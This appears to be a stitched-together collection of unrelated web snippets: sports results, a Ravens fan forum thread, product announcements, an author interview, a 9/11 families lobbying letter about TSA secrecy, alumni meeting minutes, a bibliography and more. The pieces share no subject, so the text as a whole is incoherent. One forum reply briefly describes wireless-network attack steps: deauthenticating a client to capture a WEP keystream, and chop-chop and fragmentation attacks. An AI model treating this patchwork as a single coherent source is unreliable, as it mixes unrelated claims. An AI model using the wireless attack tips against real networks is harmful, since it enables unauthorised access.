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Ampro Extends Line With Silk EdgesSubmitted by manyeshab on Mon, 02/13/2012 - 14:48
Ampro Industries has added Silk Edges, an extension of its award-winning Shine 'n Jam line of conditioning gels.
This latest release of Ampro Pro Styl features 100% olive oil and silk protein, no alcohol and no parabens.
The company has also selected BET reality star Toya Wright as the Silk Edges spokesperson. The starlet tells of her experience using the product via her Twitter account.


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MARYSVILLE — Nate Nehring and Cody Probst each scored a goal in Marysville Getchell's Wesco 3A win over Meadowdale. Colton Davis tallied in the 77th minute for the Mavericks.
At Marysville Getchell H.S.
Goals—Nate Nehring (MG), Cody Probst (MG), Colton Davis (M). Assists—Marcos Valadez (MG), Clayton Grisham (M). Goalkeepers—Meadowdale: Evan Lee. Marysville Getchell: Cameron Carter. Records—Meadowdale 1-4 league, 1-6-1 overall. Marysville Getchell 2-3, 2-6.

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There are many threads on the topic, however because you so eligantly posted the thread, I shall give you a somewhat eligent answer.
First of all you need to obtain the PRGA (xor file) that will allow you to send an association request to the AP. However the only method I know of doing this is to de-auth a host while dumping the traffic of the network. You can use the xor from a chop chop or frag attack but they must be over 144 bytes I believe.
So in short, you probably cant do it. Get a client hooked up and go for it.


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Thread: Back in business 2009
Back in business 2009
With the Ravens matches to be released soon, and the draft in a couple of weeks, I thought now would be a good time to open up the UKR's for business again. :uk:
Let's GO !!!!!!!!!!!:celery :celery :celery
Re: Back in business 2009
Newsletter for the New Season 2009/10.
NFL Draft week-end is 25th / 25th of April.
RAVENS 2009/10 schedule:
Sep 13 KC M&T Bank Stadium 1:00 pm
Sep 20 @ SD Qualcomm Stadium 4:15 pm
Sep 27 CLE M&T Bank Stadium 1:00 pm
Oct 04 @ NE Gillette Stadium 1:00 pm
Oct 11 CIN M&T Bank Stadium 1:00 pm
Oct 18 @ MIN Hubert H. Humphrey Metrodome 1:00 pm
Bye week
Nov 01 DEN M&T Bank Stadium 1:00 pm
Nov 08 @ CIN Paul Brown Stadium 1:00 pm
Nov 16 @ CLE Cleveland Browns Stadium 8:30 pm MNF
Nov 22 IND M&T Bank Stadium 1:00 pm
Nov 29 PIT @ M&T Bank Stadium 8:20 pm SNF
Dec 07 @ GB Lambeau Field 8:30 pm MNF
Dec 13 DET M&T Bank Stadium 1:00 pm
Dec 20 CHI M&T Bank Stadium 1:00 pm
Dec 27 @ PIT Heinz Field 1:00 pm
Jan 03 @ OAK Oakland Coliseum 4:15 pm
UKRavens .
With the release of the season schedule its time to get things back going again. Its been nice this year to have a formal break in our work, Ive seen some of you still posting, I think even more of you have been reading 24x7 from time to time.
I will miss the draft (again) as I will be on a rugby tour over that week-end. So Ill let the draft gurus do there work once again.
Once the re-building work is done I may try another summer BBQ if there is interest.
NFL Wembley 2009
Sunday October 25th Tampa verses New England. This is during the Ravens bye week. Can everyone who is going, and got/getting tickets let me know?
Ravens trip in 2009?
I have to say that the credit crunch has hit us as it seems it has everyone (Actually were just in the middle of major building work which will cost us all our cash for now). As it stands I may be able to make a quick trip but on my own (without Tania) later in the season.
For reference here are the flight costs at the moment:
Depart Fri. 30th Oct, return (arrive) Tues 3rd, Heathrow - BWI direct on BA, is £350.50 inc. taxes. Use this as a bench mark.
Re: Back in business 2009
Well seeing the top 10 Raven plays on NFL.com last week got me stoked. The thing that used to get me back fully was reading the training camp reports and seeing the pic's on the Insiders.That's when you know football is back.
Cannot wait to see Flacco and all our young players progress from last year.
Last year was a dream, an unbelieveable dream for what this team achieved.
I still don't know how all the pieces of the puzzle fell together and ended up with the Ravens reaching the AFC Champ.
Once again we have so many questions for those who have left and those who are coming in.Players & coaches.
As to the work money front down here in the southeast things are dire. Its almost like running to the shelter when the air raid warning goes off to signal another company hitting the rocks. We have 15 empty shops in town. And untold To Let signs up on warehouses & office blocks.
The £ is really in a mess to for travelling abroad.
We shall overcome.
Anyway tonight the NHL Ice Hockey playoffs faceoff and I am stoked.Love me some playoff Ice hockey.Put the smile back on your face.This is a 60 minute ball game.
Re: Back in business 2009
Fortunately for Katie and I the credit crunch hasn't affected us too much. With Katie being a student and me working with Tesco we both have a nice steady income. And the lack of a mortgage to pay and kids to feed means we're not spending anymore than we were before. We're not any richer than we were before but not any poorer either.
I've got my management assesment a week today which is the first in a fairly long process to an extra 6 to 8 grand a year. Depending on how long this takes will depend on my ability to make a trip across this year.
Re: Back in business 2009
I am going to push hard for an overseas trip THIS season. I've got enough Air-Miles to get me £150 off the flight. At the moment I am looking at the Denver game at end October. This is not written in stone.
Re: Back in business 2009
I'd guess I'm probably out this year for a trip to the States with going over last year and buying a new car last month, but then I thought I was out last year as well, a lot will depend upon work and how quickly we'll be able to get games up next season. That said I thought I was out of a trip over last year, so if I do head over it'll probably be short term planning again.
With regards flights, that LHR-BWI direct flight with BA is rarely full, so the flight costs tend to come down closer the time, I certainly seem to remember paying less than £350 last December.
Re: Back in business 2009
If it happens both Gordon (Glasgow) and I (Manchester) will fly in ready for the 12.50 flight. Cool if we all meet in the departure lounge.


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NEWBERRY, S.C.-The No.25 Newberry College Wolves (8-1, 5-1 SAC) used a 4th quarter touchdown to sneak past the Brevard College Tornados (2-7, 1-5 SAC)28-21 at Setzler Field on Saturday afternoon in South Atlantic Conference football action.
Newberry College quarterback Raleigh Yeldell connected with Corey Washington for a 29-yard game-winning touchdown pass with 5:27 remaining in the game. The Wolves took a 28-21 lead following a successful two-point conversion, also a pass from Yeldell to Washington.
The game-winning drive went 72 yards on eight plays. Washington finished with four catches, three of which were touchdowns receptions, and 125 yards.
The Tornados were unable to score on their final drive as BC quarterback Kevin Herbst's tipped pass was intercepted at Brevard's own 20-yard line with 3:54 remaining in the game. Newberry was able to move the chains twice to run out the rest of the clock and seal the victory.
Herbst had given BC a 21-20 lead earlier in the 4th when he found Tydrell Wright with a 90-yard touchdown pass with 9:36 left in the 4th quarter.
The freshman quarterback finished two-for-six in the air, both completions to Wright, for 125 passing yards. Herbst also led all rushers with 73 yards on the ground.
Newberry had taken a 20-14 lead midway through the 3rd quarter when WT Murden, who started the game under center, completed a three-yard touchdown pass to Ozzie Exume.
The Tornados were able to overcome an early 13-0 deficit and take the lead with just 30 seconds left in the first half.
The Wolves found the end zone on their second drive of the game, scoring on a six-yard touchdown pass from Murden to Washington midway through the 1st quarter.
Newberry then went ahead 13-0 on their first play from scrimmage in the 2nd quarter as Murden found Washington with a 67-yard touchdown pass after a Brevard punt. Newberry's extra point failed on a busted scramble by holder Cole Watson after a high snap.
BC then posted 14 unanswered points in the 2nd quarter to charge into halftime with a 14-13 lead.
The Tornados answered Newberry's second score with a 13-play, 75-yard touchdown drive to make it 13-7. Jordan Ollis crossed over the goal line on a one-yard plunge on first-and-goal to cap the drive.
Brevard defensive back Anthony Washington setup BC's next scoring drive when he intercepted a Murden pass at Brevard's 48 yard line on Newberry's ensuing possession. Washington returned the pick five yards to put BC at Newberry's 47.
The Tornados took 12 plays to get the score following the turnover, capped by another one-yard touchdown run from Ollis.
The Tornados defense helped to keep the Newberry on their heels with three forced turnovers on the afternoon.
The Tornados return to Brevard Memorial next Saturday as they host the Tusculum Piooners for their final home game of the 2013 season. Kickoff is set for 1 p.m. The Wolves, meanwhile, will visit the No. 16/18 Carson-Newman Eagles.


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Energy Issues and Resources
Cooperative Extension Service works with many different organizations to bring research-based information to the people of Alaska. The purpose of this web page is to connect Alaskans to information they can use to achieve end use conservation of energy and other strategies to weather the rise in energy costs.
Note: Non-Extension websites open in a new window.
State Information
- AHFC Rebate & Weatherization Programs
- Sustainable Natural Alternative Power (SNAP)
- Interior Alaska Building Association
- Alaska Sustainable Energy Center
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- Fairbanks Climate Change Task Force
- International Council for Local Environmental Initiatives (ICLEI)
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- National Association of Home Builders
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Energy Assistance
- Heating Assistance Program, State of Alaska - call 1-888-804-6330
Sustainable Energy for Economic Development (SEED):
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Renewable Energy and Climate Change:
NREL website on renewable energy maintained by the National Renewable Energy Laboratory's Renewable Energy Analysis Studies Network.
Climate change links portal
Searchable Directory of Wind and Renewable Energy Companies and Products Worldwide:
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Project evaluation software:
An evaluation tool developed by the Department of Natural Resources of Canada.
Green Power Network: A comprehensive site on green power in the U.S., maintained by the National Renewable Energy Laboratory for the U.S. Department of Energy.
Center for Resources Solutions Green-E: Presidio Building 49, Moraga Avenue, P.O Box 29512, San Francisco, CA 94129. Phone: 888-634-7336 Fax: 415-561-2105.
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Power Scorecard: Rating mechanism that assesses the environmental impact of different types of electric generation.
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Solid-state drive (SSD) developer Memoright has launched the second generation of its industrial- and military-grade ruggedized GTR SLC SSD.
The Memoright GTR II supports SATA2 interface and is available in 16GB, 32GB, 64GB and 128GB capacities. The series is designed specifically for industrial/military storage, with an operating temperature range from -40 to 85 degrees Celcius as well as handling extreme altitude, vibration and humidity, the vendor said.
The GTR II also provides outstanding performance (Seq. Read/Write: 210MB/210MB; IOPS Read/Write: 10,000/500) for military/industrial storage applications, which require the utmost reliability and performance, the company said.
- Wireless broadband developments in Southeast Asia markets
As of 2013, the 10 ASEAN nations had a total of over 700 million mobile subscriptions, with the CAGR from 2003-2013 reaching 24%. This Digitimes Research Special Report analyzes the various mobile broadband markets in ASEAN and looks at the respective trends in 4G LTE development for those markets.
- 2015 global tablet demand forecast
This Digitimes Research Special Report provides a 2015 forecast for the global tablet market and analyzes the strategies of key market players such as Google, Apple, Intel, and Microsoft.
- 2015 China smartphone panel trend forecast
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The Inland Empire is expected to have temperatures in the low to mid 70s through Monday.
The high temperature today will be 74 degrees in San Bernardino, 73 in Redlands and 76 in Ontario, according to Accuweather.
Friday's high temperatures will be 75 degrees in San Bernardino, 74 in Redlands and 76 in Ontario.
Forecasters say the weekend will be a blend of sunny and cloudy conditions.
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Paul Murray on "That's My Bike!"By Rachel Nolan
Paul Murray, author of Skippy Dies and An Evening of Long Goodbyes, wrote "That's My Bike!," a short story published in the Winter issue of The Paris Review. The story opens with a group of friends gathered at a none-too-salubrious pub in Dublin's Northside on Christmas Eve. Murray spoke to me from his office at the Oscar Wilde Center for writing at Trinity College in Dublin, where he is a writing fellow.
The last time I was in Dublin for Christmas was in 2007, right before the crash. The Christmas displays along Grafton Street and in all the shopping areas were absolutely ghastly. Everything had blinking lights and moving parts. Is this still the case?
There's this shop called Brown Thomas, which is the oldest department store in Dublin and it's very swanky and expensive. Historically, when it used to be called Switzer's, they had these famous windows with Santa Claus and mice making ballet shoes and so forth, and it was all mechanized, and the kids would go into Dublin and look at the windows. That was something your parents would bring you to do. Then, when the boom came, they stopped having child-oriented windows and started having these really nasty Helmut Lang soft-cyber-porn-type windows with a bunch of emaciated blue mannequins wearing just a giant watch and staring bleakly out of the windows. Everything was about excess and consumption. The idea that children had any part of Christmas was shunted to one side because the store just wanted to get the adults in there to spend money.
And would the adults make pilgrimages to gaze at the watches?
They wouldn't even stop at the windows, they would just pile into the store. I remember being in there and hearing a couple next to me saying, "I just don't know what to get her." And the woman said, "Pearls, you can't really go wrong with pearls." And I remember thinking, "Who are you people?" It was beyond parody. And these were people who worked in normal sorts of jobs. Read More


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The University of Great Falls/MSU-Bozeman College of Nursing and MSU-Great Falls Student Health Services offers limited primary care – diagnostic procedures and treatment of common illnesses; preventative health care; and/or treatment of minor musculoskeletal injuries. The center is staffed by an advanced practice registered nurse/family practitioner with prescriptive authority. Our staff is committed to meeting today's highest health care standards.
Health Services hours for spring 2012 are:
Mondays 10:30 a.m. - 1:00 p.m.
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Adelaide, South Australia
|Australia v England - Dec 12-16, 1884
|Australia v South Africa - Nov 24-27, 2016
|Test records | Results | High totals | High scores | Most runs | Best bowling | Most wickets | Partnerships | Statsguru
|Australia v West Indies - Dec 20, 1975
|Australia v Pakistan - Jan 26, 2017
|ODI records | Results | High totals | High scores | Most runs | Best bowling | Most wickets | Partnerships | Statsguru
|Australia v England - Jan 12, 2011
|Australia v Sri Lanka - Feb 22, 2017
|T20I records | Results | High totals | High scores | Most runs | Best bowling | Most wickets | Partnerships | Statsguru
|Records index
The Adelaide Oval remains one of cricket's most picturesque Test venues despite recent developments to increase the capacity and upgrade the facilities. Its position, situated amid gardens and trees and with the spire of St Peter's Cathedral as a backdrop, gives it a quintessentially English feel.
The ground opened in 1873 amid bitter local disputes over boundaries and money, and in its early years the pitches were often dreadful. Things gradually improved, although Adelaide's tendency to attract controversy remained. In 1884-85 it staged its first Test, but that was dogged by arguments with the English tourists over appearance money and who would umpire. In 1932-33, the Bodyline affair reached its nadir at The Oval when Bill Woodfull and Bert Oldfield were struck, and on the third day mounted police patrolled to keep the 50, 962 spectators in order. But these days the pitches are true and disputes rarer.
The ground has hosted many sports other than cricket - the biggest attendance there was 62,543 to watch the 1965 SANFL final between Port Adelaide and Sturt - as well as concerts.
The ground is a true oval, which makes straight sixes a rarity but ones square of the wicket more common. The western public and members grandstands and the famous scoreboard are all items listed on the City of Adelaide Heritage Register, and two news stands finished in 2003 have raised the capacity to 34,000 (for football) and 32,000 for cricket.
Martin Williamson
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Senior CLASS Award Release (pdf)
OVERLAND PARK, Kan. – Thirty candidates have been announced for the 2013 Senior CLASS Award in volleyball and the list includes University of Pennsylvania senior libero Dani Shepherd. Eligible candidates must be senior-athletes who have displayed both on-field and off-field excellence.
The Senior CLASS Award-CLASS is an acronym for Celebrating Loyalty and Achievement for Staying in School-is one of the most prestigious awards in college athletics. The award focuses on the total student-athlete and encourages students to use their platform in athletics to make a positive impact as leaders in their communities.
Last year, Shepherd led NCAA Division I in digs per set (6.56) and was named AVCA Honorable Mention All-America, the second honoree in Penn history and first since 2003. Shepherd was also an All-Region selection by the AVCA, the third selection in Penn history. Named the Ivy League's first-ever Defensive Player of the Year, Shepherd recorded 617 digs, which is a Penn single-season record, and was named first-team All-Ivy for the second time in her career.
"Despite all of Dani's individual accolades, she always puts her team first," said head coach Kerry Carr. "She has taken the role of captain to heart, after being nominated by her peers, and has concentrated her efforts on the team goal of winning a conference championship."
Shepherd enters the 2013 season with 1,350 digs, which is third all-time in the Penn record books, and she holds five of the top-six single-game records for digs.
"She could easily be focused on breaking more records, but her one singular goal is to improve our team defense and make sure everyone contributes and understands their roles on the team," Carr said."Her character and commitment to her team is paramount to our success on and off the court."
The 30 candidates will be narrowed down to 10 finalists in October by a national media committee. Candidates' names will be placed on official ballots that will be distributed through a nationwide voting system to media, coaches, and fans to determine the recipient.
The one candidate who best exemplifies excellence in the community, classroom, character, and competition will be presented the Senior CLASS Award during the 2013 NCAA Division I Women's Volleyball Championship in December.
Download: VB13 Candidate Release.pdf


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Dirty South seeking extras for movie shoot
Listen to Dirty South on iHeartRadio
Dirty South, real name Dragan Roganović, released his debut album Speed of Life just last year - but the producer/DJ wasted no time preparing his next album.
But Dirty South is cooking up something extra special to go with his new music - a movie. The film will accompany the album and bring the music to life visually, making for a unique way to share the new set with fans.
Additionally, Dirty South wants to get his fans involved in the movie. He is seeking extras to be a part of the film, which will be shot in Los Angeles.
If you live in the Los Angeles area, and are free Monday March 10th, you can be part of the film, by entering your info here.
More details on the film and album are expected to be released later this month.
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June 26, 2006
Dear Families of September 11 members, An issue is being decided in Congress this week, and we thought you might want to know more about it to decide if you want to take action. The legislation being debated deals with TSA (Transportation Security Administration) and how they decide what material and information can be considered SSI (Sensitive Security Information, like a sort of "classified" information for the TSA). Since 9/11, TSA has gotten stricter and stricter with what information it considers to be SSI. For example, you may remember the film of the hijackers going through the Dulles airport checkpoint that came out in 2004. It was shown on national television, even worldwide. But now, TSA considers that footage SSI, so it is illegal for someone without a clearance to see it. For those looking to find out all that went wrong on 9/11, and hoping to get full transparency, this SSI issue has come to a head. The House passed language last week requiring all information more than 3 years old to not be SSI, unless TSA has a good reason for it keeping it SSI. The Senate is debating this issue tomorrow (Tuesday) in a subcommittee markup hearing. The Chair of the subcommittee is Sen. Gregg (R-NH). Other members are listed below. The TSA is very much against this bill, and, if you support the bill, these senators must hear your voice. You can call them at the subcommittee's office number listed below, or you can call your specific senator's office (which you can find by locating them at www.senate.gov). We hope this information is helpful to you. Sincerely,Carie LemackFounding FOS11 Board Member
Please Call! It is imperative that you call your OWN Senators AND EACH of the Senators on the Department of Homeland Security Appropriations Subcommittee before 10:30 a.m., Tuesday, June 27, 2006, and insist that the Homeland Security Appropriations bill being considered in Senate on Tuesday morning include the same language as Section 525 of the House of Representatives version (H.R. 5441), which the House passed with overwhelming bipartisan support on June 6. The Capitol switchboard number is 202-224-3121. Below is a list of the Senators on the Appropriations Committee's Homeland Security Subcommittee. The Subcommittee is presently scheduled to mark up the language for the bill on Tuesday morning. The message must be focused: Section 525 (from HR 5441) is needed to prevent TSA's use of excessive secrecy, which is contrary to Congress' charge to TSA to protect our national transportation system because TSA's excessive secrecy is Unnecessary, Divisive, and Dangerous: • Unnecessary – Even under Section 525, TSA maintains the final authority to protect information that is truly necessary to keep secret to protect the nation;• Divisive – It is dishonest and breeds distrust;• Dangerous – It prevents public discourse that arms our citizens, encourages security improvements, dissuades lackadaisical approaches to security implementation, and permits exchanges of ideas for improvements. It also handicaps our legislators (in both the House and Senate) from using information in public hearings that are essential for oversight to ensure or improve our safety.
The Senators on the Appropriations Committee's Homeland Security Subcommittee that need to be called immediately are (call your own Senators and these even if they are not your own; Remember the Republicans control the Senate and their votes are imperative -- so call them first): Senator Judd Gregg (Chairman) (R-NH) Senator Thad Cochran (R-MS)Senator Ted Stevens (R-AK)Senator Arlen Specter (R-PA)Senator Pete Domenici (R-NM)Senator Richard Shelby (R-AL)Senator Larry Craig (R-ID)Senator Robert Bennett (R-UT)Senator Wayne Allard (R-CO) Senator Robert C. Byrd (Ranking Member) (D-WV)Senator Daniel Inouye (D-HI)Senator Patrick Leahy (D-VT)Senator Barbara Mikulski (D-MD)Senator Herb Kohl (D-WI)Senator Patty Murray (D-WA)Senator Harry Reid (D-NV)Senator Dianne Feinstein (D-CA)
Background information: On June 6, 2006, in an overwhelmingly bipartisan manner, the House of Representatives passed Section 525 as part of H.R. 5441, language intended to encourage the Transportation Security Administration (TSA) to exercise more responsibly its authority to mark documents "Sensitive Security Information" (SSI) and thereby keep them secret from public disclosure. The language of Section 525 is now up for consideration in the Senate. The TSA has strongly opposed it. So we must be vocal. Without the language, TSA will likely continue its current trend of keeping many items secret that are not entitled to be kept secret. Notably, TSA has been warned by Congress, by federal judges, and many others that it was abusing its authority and asked to refrain from doing so. This language is necessary to encourage TSA to exercise its authority responsibly to protect the nation's transportation system and to allow Americans and the Congress the ability to fully participate in that protection and ensure that TSA is functioning as it is charged. The TSA's unsupported position has been that Section 525 will handicap national security and that TSA should be permitted to fix its own problems -- which it acknowledges exist -- administratively rather than having Congress legislate a fix. But the House carefully drafted the provision to minimize any burden on TSA while improving TSA's long-recognized irresponsible performance of its SSI responsibilities. As for TSA's promise of an administrative fix, despite being advised of the problem for several years -- by concerned members of the public, repeatedly by Congress, by the General Accountability Office (Congress's investigative office), and by at least three United States federal judges -- TSA has never taken any steps to modify its overuse of the SSI moniker. The likelihood of any administrative fix without legislation is zero. Though TSA very recently promised to cooperate with 9/11 families, its promise came only days after the language of Section 525 became public. Since then its effort to address the problem has been limited to "re-reviewing" a single document that was previous labeled SSI, releasing a less redacted version, and "promising" to do the same for other documents. But even the re-released document revealed what critics have been contending -- the information that had been kept secret ought not to have been kept secret in the first place; the only apparent reason for keeping it secret was to aid the aviation industry defending itself in litigation. Not surprisingly TSA's timeline for the "re-review" of other documents would allow TSA to claim to Congress that it is "co-operating" but will not necessarily require any co-operation before the Senate must make its determination whether to force a legislative correction. Perhaps TSA's most shocking determination so far has been its willingness to disclose SSI to help an admitted terrorist -- Zacarias Moussaoui -- while refusing to disclose the same information to 9/11 families, victims of terrorists themselves, because the TSA is concerned that the families might collude with terrorists and provide them with SSI. So despite TSA's small gesture as to a single document and promises for more transparency, TSA has remained steadfastly opposed to releasing information except to criminal defendants -- including admitted terrorists like Moussaoui.


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From the Online Etymology Dictionary:
carom (n.)
1779, from Sp. carombola "the red ball in billiards," originally an orange tropical Asian fruit supposed to resemble a red billiard ball, from Marathi (southern Indian) karambal. The verb is 1860, from the noun.
While the UNC-Chapel Hill Men's Basketball team scored a 75-70 victory over Illinois last night, I tried to do my part to ensure their victory by not watching the game.
When I read the AP news article reprinted at Yahoo! this morning, there was a reference to carom in this passage:
Head later missed a 3-pointer that would have given Illinois a tie in the final minute, and May leaped high to tip the carom to North Carolina point guard Raymond Felton.
Of course, there was enough context there for me to understand the meaning, but I had never heard this word before, as I am not an athlete or enough of a fanatic to live my life as if it were anything more than a game.
So I thought it would be an interesting word to suggest, as it appears to have the potential for other metaphorical applications in the language of our lives.
...who was reminded of the word careen for some reason...


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Kevin Riley, in the absence of President Brian Carson, opened the meeting at 11:00 a.m. in the Plaster School of Business Room 211.
Riley welcomed all attendees and the minutes from the 2005 meeting were submitted and approved. The treasurer's report showed a fund balance of $1,706.40. There was no other old business.
In new business, nominations for secretary/treasurer were accepted. Kevin Riley was nominated and elected by acclamation. Robert Wheeler moves to president and Lindon Newberry moves to vice president for this year.
The new web page honoring Dr. Winfrey and the site for business alumni (www.cofo.edu---- alumni link and then business) was unveiled, demonstrated and evaluated. Several suggestions were given and discussed. The consensus was the web site should make clear the Business Alumni Chapter is open to all business and accounting majors and every effort should be made to expand membership. Everyone was encouraged to provide membership information to other business and accounting alumni from College (School) of the Ozarks.
The yearly dues remain $10.00 or a lifetime membership can be obtained for a one-time contribution of $200.00. Anyone can submit an application on-line and send dues to Kevin Riley (checks payable to College of the Ozarks) at the following address: College of the Ozarks, P.O. Box 17, Point Lookout, MO 65726.
The meeting adjourned at 11:40 a.m.
Respectfully submitted,
Kevin Riley, Secretary/Treasurer
**** 2006/2007 membership list below:
LIFETIME MEMBERS: Jeremy Braden, Paul Fry, Rex Mahlman, Travis McNail, Kevin Riley, Robert Wheeler, Gary Wortman
ANNUAL MEMBERS : David Bearden, Eddie Beaver, Katy Cameron, Lacey Evans, Terry Goodrum, Ross Hawkins, Annora Lock, Amber Narancich, Brandon Robertson, Dena Roper, Clint Schrock, Mindy Ver Steegt, Cheryl Williams


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Tucker Carlson on Dems' outreach to "gays, lesbians, and cross-dressers"
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On May 19, Crossfire co-host Tucker Carlson -- in an apparent attempt at satire -- misrepresented the contents of a May 13 Associated Press article that reported a new initiative by state Democratic parties to raise the number of gay and lesbian delegates to the Democratic National Convention. Carlson said, "[T]he Democratic Party has announced a new affirmative action plan for gays, lesbians, and cross-dressers," and he labeled the parties' targets as "sexuality-based quotas." Yet the Associated Press reported the initiative as "numerical goals" (not "sexuality-based quotas") that "Democratic parties in 15 states and Puerto Rico" (not the national Democratic Party) had set individually. According to the AP, "Democrats are determined to ensure that gays and lesbians are part of their convention ranks."
From the May 19 edition of CNN's Crossfire:
CARLSON: Well, as part of its ongoing effort to divide Americans into a bewildering number of categories and subcategories, the Democratic Party has announced a new affirmative action plan for gays, lesbians, and cross-dressers.
According to the Associated Press, the party has set sexuality-based quotas for its delegates at this summer's national convention in Boston, these in addition to the party's usual quotas based on race, gender, disability, national origin and hairstyle.
California, for instance, will have to send precisely 22 gay men and 22 lesbians to the convention. North Carolina will have to send five, although they can be gay, lesbian, bisexual or transgendered or, one suspects, some heretofore unthought combination of all four of those things.
Even remote, chilly Maine will have to pony up a minimum of three gays or an equal number of men who may or may not be gay but in any case wear women's clothing. Those are the rules. And if you don't find them at least mildly funny, you're probably a Democrat.
The AP article Carlson cited reported, "Democratic parties in 15 states and Puerto Rico have set numerical goals for gays and lesbian delegates at the party's national convention this summer"; further, the AP article explicitly stated, "Officials are quick to point out that the goals aren't quotas. Neither a state nor a presidential campaign is penalized if they do not reach these goals."
Tucker Carlson is co-host of CNN's Crossfire; a political analyst for CNN; a contributing editor at the conservative magazine The Weekly Standard (edited by William Kristol); and a regular contributor to Esquire. Carlson is a former a staff writer at the Arkansas Democrat-Gazette and has been a columnist for New York magazine and Reader's Digest. His first book, Politicians, Partisans and, Parasites: My Adventures in Cable News, was published in 2003 by Warner Books -- which is owned by CNN's parent company, Time Warner.
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'Returning to the Amerks did not come as a surprise. Within an hour of Montreal's 4-3 win over Ottawa on Tuesday, which eliminated the Sabres from playoff contention, Noronen and Kotalik were summoned by Buffalo coach Lindy Ruff and general manager Darcy Regier.'
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Norwich Kickstop MMA Lands TOP BJJ BLACK BELT: Demetrius Ramos - Carlson Gracie.
Ramos is 2006 American National Jiu Jitsu Absolute Champion defeated all Black Belt challengers in all weight classes.
Video about Romas gym in USA:
Ramos will be coaching Thur's from 2011.
Ramos class times will be BJJ - 6:30pm till 8:00pm and Sub Wrestling/No Gi - 8:15pm till 9:45pm.
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Of course, if you really wanted to have some fun, go to Wal-Mart late at night and ask the greeter if they could help you find trashbags, roll of carpet, rope, quicklime, clorox and a shovel. See if they give you any strange looks. --Streaker69


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Campus: 1 x 1 hour class for 10 weeks, 1 x 2 hour seminar for 10 weeks.
Cloud (online): Learning experiences are via CloudDeakin.
The unit examines thermal, visual and aural environmental principles. Students will critique theoretical principles in relation to their specific disciplinary role in shaping the built environment to respond to different climates and the needs of key stakeholders specifically users and clients. They will engage in a series of case studies to examine thermal, visual and aural environmental theoretical principles and practical application. The unit will challenge students to evaluate the appropriate selection of environmental systems to enhance thermal, visual and aural comfort. Students will analyse building envelope materials and assemblies to respond to different climatic conditions in order to enhance thermal comfort. Students will appraise various lighting concepts as well as colour classifications. The unit will introduce the application of day light modelling and lighting installation design with specific emphasis on integration control, computational methods and software for lighting design to enable students to make informed judgments in relation to their role as built environment professionals. Students will engage in discussion of aural environment and acoustic design of rooms in regards to reverberation times and speech intelligibility, suitable material selection, noise problems, sound transmission through structures, and environmental noise control. Computational methods are introduced for evaluation and assessment of acoustical environments to support effective decision making to improve built environment performance.
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Carroll, Lew F. "An Eighty-Niner Who Pioneered the Cherokee Strip." Chronicles of Oklahoma 24 no. 24 (1946): 87-101.
DWP. "Captain David L. Payne." Chronicles of Oklahoma 13, no. 4 (1935): 438-456.
Gibson, Arrell M. Oklahoma: A History of Five Centuries, 2d ed. Norman: University of Oklahoma Press, 1981.
Hoig, Stan. David L. Payne, The Oklahoma Boomer. Oklahoma City: Western Heritage Books, 1980.
______. The Oklahoma Land Run of 1889. Oklahoma City: Oklahoma Historical Society, 1989.
Howard, William Willard. "The Rush to Oklahoma." Harper's Weekly no. 33 (May 18, 1889): 391-94. http://www.library.cornell.edu/Reps/DOCS/landrush.htm (accessed November 11, 2011).
Jerman, Emma. "Single Frontier Women Took Part in Oklahoma 1893 Land Run." Oklahoma Gazette. June 4, 2009. http://www.okgazette.com/oklahoma/article-3862-single-frontier-women-took-part-in-oklahoma-1893-land-run.html (accessed November 11, 2011).
New World Encyclopedia. "Indian Reservation." New World Encyclopedia. http://www.newworldencyclopedia.org/entry/Indian_reservation (accessed November 11, 2011).
Public Broadcasting Channel. "Judgment Day. Indian Removal, 1814-58." PBS.org. http://www.pbs.org/wgbh/aia/part4/4p2959.html (accessed November 11, 2011).
Wilson, Linda D. "Land Run, Women In." Encyclopedia of Oklahoma History and Culture. http://digital.library.okstate.edu/encyclopedia/entries/L/LA017.html (accessed November 11, 2011).
Discovery Channel. "Puzzlemaker." Discovery Education. http://puzzlemaker.discoveryeducation.com/WordSearchSetupForm.asp (accessed November 10, 2011).
Easy Fun School."Make a Homemade Compass." Easy Fun School Homeschool Resource. http://www.easyfunschool.com/article1352.html (accessed November 18, 2011).
Oklahoma State University. "Oklahoma 4 Health." Oklahoma State University Education. http://oklahoma4h.okstate.edu/health/landrun.pdf (accessed November 10, 2011).
Oppegard, Mary. "Tales of Oklahoma Project" Oklahoma Council on Economic Education. http://ocee-ok.net/wp-content/uploads/2010/04/Oklahoma-Land-Run.pdf (accessed November 10, 2011).
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Osburn, William H. "A Tribute to Captain D.L. Payne by His Private Secretary, W.H. Osburn, Also Colony Secretary During the Fourth Raid." Chronicles of Oklahoma 7, no. 3 (1929): 266-277.
______. "A Tribute to Captain D.L. Payne by His Private Secretary, W.H. Osburn, Also Colony Secretary During the Fourth Raid." Chronicles of Oklahoma 7, no. 4 (1929): 374-387
______. "A Tribute to Captain D.L. Payne by His Private Secretary, W.H. Osburn, Also Colony Secretary During the Fourth Raid." Chronicles of Oklahoma 8, no. 1 (1930): 13-34.
Harris, Grant. "Publishing a Newspaper in a "Boomer Camp." Chronicles of Oklahoma 5, no. 4 (1927): 363-370.
Parins, James W. Elias Cornelius Boudinot: A Life on the Cherokee Border. Lincoln: University of Nebraska Press, 2006.
Rister, Carl Coka. Land Hunger: David L. Payne and the Oklahoma Boomers. Norman: University of Oklahoma Press, 1942.
U.S. National Archives. "Dawes Act (1887)" Our Documents website. http://www.ourdocuments.gov/doc.php?flash=true&doc=50 (accessed November 11, 2011).


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For an interesting and creative perspective on the changes that are occurring in the energy sector take a look at the material being put out by Alexa Capital. Alexa is the brainchild of Bruce Huber the long-term guru of the renewables business at Jefferies.
To illustrate what the report is about let's start with a question – why has the power sector, particularly in Europe, lost so much of its value when electricity demand (other than from nuclear generation) continues to rise? Read more


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Osiris is ramping up its marketing strategies lately, strengthening its crew by bringing back original founders Tony Chen as President and Doug Weston as VP, and also with the recent addition of Hans Molenkamp as Global Marketing Director. With that has come a shift in the thinking behind the brand, including a renewed investment in multi-media, with a specific push behind video development. Back in September, Osiris launched a commercial featuring several team riders including PLG, Corey Duffel, and Daryl Tocco, as well as graffiti artist Risk and Del The Funky Homosapien. Within one week, the commercial received 400,000 hits online and was airing on Fuel TV and MTV. Osiris plans to roll out longer clips from the commercial, filmed by acclaimed Hollywood Director Nicholaus Goossen, which will feature break out pieces from Duffel and Tocco.
TransWorld Business recently caught up with Chen, Weston, Molenkamp, and original founder and Chief Creative Officer Brian Reid to find out more about producing the commercial, product development, sales and what the future holds.
Tell us a little about the concept and idea behind the commercial?
